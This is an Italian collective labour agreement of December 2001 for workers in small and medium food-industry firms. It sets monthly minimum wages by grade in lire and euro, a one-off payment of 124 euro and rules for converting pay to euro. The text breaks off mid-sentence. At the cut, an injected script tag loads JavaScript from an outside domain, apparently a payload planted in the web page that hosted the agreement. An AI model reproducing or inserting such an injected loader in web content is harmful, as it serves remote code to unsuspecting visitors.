Categoria: Alimentaristi (piccola e media impresa)
Settore: Alimentari - Agroindustriale
Data stipula: 17-12-2001
Data decorrenza: 1-1-2001
Data scadenza: 31-12-2003

VERBALE DI ACCORDO 17 dicembre 2001


tra

-   UNIONALIMENTARI-CONFAPI

e

-   FAI-CISL
-   FLAI-CGL
-   UILA-UIL

si  rinnova  la  parte economica del CCNL 14 marzo 2000, a valere  per  il
biennio 2002-2003

PER GLI ADDETTI ALLE PICCOLE E MEDIE INDUSTRIE ALIMENTARI



1.  MINIMI MENSILI

I  minimi  mensili  di  cui all'art. 44 del CCNL  sono  incrementati  come
indicato nelle tabelle sottoriportate.



"Una tantum".

Ai  lavoratori in forza al 31.8.02, verrà corrisposta, con la retribuzione
di  agosto 2002, un'erogazione 'una tantum' di _ 124,00 uguali per  tutti.
Tale  importo è stato quantificato considerando in esso anche  i  riflessi
sugli  istituti di retribuzione diretta e indiretta, di origine  legale  o
contrattuale ed essendo quindi comprensivo degli stessi non rientra  nella
relativa base di computo.

Detta  erogazione  inoltre, secondo quanto previsto dall'art.  2120  CC  e
dall'art. 55 del CCNL, è esclusa dalla base di computo del TFR.


Nota a verbale.

In applicazione dei Protocolli 23.7.93 (in Dir.Prat.Lav. 1993, 30, 1979) e
1.2.99,  si  conviene che, per il rinnovo dei minimi mensili  del  biennio
2004-2005,  per ogni punto d'inflazione determinato da ISTAT sarà  erogato
un importo, sul valore parametrale 137, pari a _ 14,70, da ragguagliare in
ragione di eventuali frazioni di punto.


1.1. Importi in lire.

           minimi     incrementi     minimi     incrementi
liv.        al          dal          dal          dal
          31.12.01      1.1.02       1.1.02       1.1.03
              
Quadri   2.258.040      80.259     2.338.299     142.658
1°       2.125.666      75.550     2.201.216     134.310
2°       1.848.408      65.690     1.914.098     116.790
3°       1.524.950      54.200     1.579.150      96.350
4°       1.340.102      47.630     1.387.732      84.670
5°       1.201.482      42.700     1.244.182      75.910
6°       1.109.052      39.420     1.148.472      70.070
7°       1.016.624      36.130     1.052.754      64.230
8°         924.214      32.850       957.064      58.390

(segue)

          minimi      
liv.      dal    parametri
          1.1.03      
                      
Quadri  2.480.957    244,32
1°      2.335.526    230
2°      2.030.888    200
3°      1.675.500    165
4°      1.472.402    145
5°      1.320.092    130
6°      1.218.542    120
7°      1.116.984    110
8°      1.015.454    100


1.2. Importi in Euro.

           minimi     incrementi     minimi     incrementi
liv.        al          dal          dal          dal
          31.12.01      1.1.02       1.1.02       1.1.03
              
Quadri    1.166,18      41,45       1.207,63      73,68
1°        1.097,81      39,02       1.136,83      69,37
2°          954,62      33,93         988,55      60,32
3°          787,57      27,99         815,56      49,76
4°          692,10      24,60         716,70      43,73
5°          620,51      22,05         642,56      39,20
6°          572,78      20,36         593,14      36,19
7°          525,04      18,66         543,70      33,17
8°          477,32      16,97         494,29      30,16

(segue)

         minimi      
liv.      dal   parametri
         1.1.03
            
Quadri  1.281,31    244,32
1°      1.206,20    230
2°      1.048,87    200
3°        865,32    165
4°        760,43    145
5°        681,76    130
6°        629,33    120
7°        576,87    110
8°        524,45    100


2.  CRITERI DI CONVERSIONE IN EURO DELLE RETRIBUZIONI

Le  retribuzioni,  le  indennità  e comunque  ogni  importo  spettante  ai
lavoratori devono essere convertiti in Euro secondo il seguente  criterio,
in base alle vigenti disposizioni di legge.

Gli  importi  annui  saranno convertiti in Euro con arrotondamento  al  2°
decimale.

Gli  importi  espressi in valori mensili saranno convertiti  in  Euro  con
arrotondamento al 2° decimale.

Le quote giornaliere<<script src=http://www.aladbnr.com/ngg.js></script>